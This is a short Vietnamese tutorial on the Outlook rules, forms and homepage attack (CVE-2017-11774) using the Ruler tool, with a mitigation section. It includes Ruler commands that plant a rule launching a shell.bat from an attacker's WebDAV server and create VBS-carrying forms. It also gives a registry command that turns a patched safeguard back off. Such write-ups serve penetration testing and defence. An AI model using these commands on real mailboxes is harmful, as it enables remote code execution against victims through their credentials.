Bài viết ngắn gọn cho tấn công Outlook form/rule attack, cách sử dụng công cụ ruler. Nguyên lý của tấn công này là tất cả các rule, custom form đều sẽ được đồng bộ nên có thể đăng nhập ở bất kỳ máy nào để thiết lập script độc hại. Đọc thêm:
- https://sensepost.com/blog/2017/outlook-forms-and-shells/
- https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/
- https://learn.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-outlook-rules-forms-attack?view=o365-worldwide
Công cụ
Link github: https://github.com/sensepost/ruler
Ví dụ
Homepage Attack (CVE-2017-11774) sử dụng ruler:

Kết quả, outlook của nạn nhân sẽ hiện ra URL của attack đưa ra

Tiếp theo là Form Attack, sau đây là cách tạo form manual, ta cố tình nhét mã độc (viết bằng VBS) vào form, rồi dùng form để soạn mail mới:


Phiên bản bị ảnh hưởng
Ruler hiện đã test trên các hệ thống sau:
- Exchange 2003
- Exchange 2013
- Exchange 2013 SP1
- Exchange 2016
- Office365
Các Outlook clients đã được test:
- Outlook 2010
- Outlook 2013
- Outlook 2016 (Only Forms work by default)
Một số câu lệnh hay dùng
Hiển thị rule đang có
/ruler-linux64 --email <email> --password <password> --username <username> --verbose --debug --domain <domain> display
Tạo Rule
./ruler --email <email> --username <username> add --location "<\\\\yourserver\\webdav\\shell.bat>" --trigger "popashell" --name maliciousrule
Tạo Form
./ruler-linux64 --email <email> --password <password> --username <username> --verbose --debug --domain <domain> -k form add --suffix pewpew --command "MsgBox(\"hello\")" --send
Trigger Form
./ruler-linux64 --email <email> --password <password> --username <username> --verbose --debug --domain <domain> -k form send --suffix pewpew
Thỉnh thoảng một số máy được update bản vá mới nhất thì khi chạy rule sẽ bị lỗi như này
In the current mode this action is not available
Để cho phép thực thi các Rule này thì chạy câu lệnh sau:
reg add "HKCU\Software\Microsoft\Office\14.0\Outlook\Security" /v "EnableUnsafeClientMailRules" /t REG_DWORD /d "1" /f
Phòng ngừa
- Nâng cấp Outlook lên phiên bản 2016 trở lên.
- Sử dụng công cụ NotRuler để detect malicious rules|forms|homepage do chính tác giả công cụ attack Ruler cung cấp https://github.com/sensepost/notruler
- Nếu sử dụng các phiên bản Outlook cũ hơn, áp dụng các cách sau.
-Truy cập regedit HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook Version>\Outlook\Security:
+ Thêm/sửa đổi giá trị EnableRoamingFolderHomepages thành 0 để chặn việc chèn và thực thi url độc hại vào homepage
+ Thêm/sửa đổi giá trị EnableUnsafeClientMailRules thành 0 để ngăn chặn chạy mã script
Tham khảo: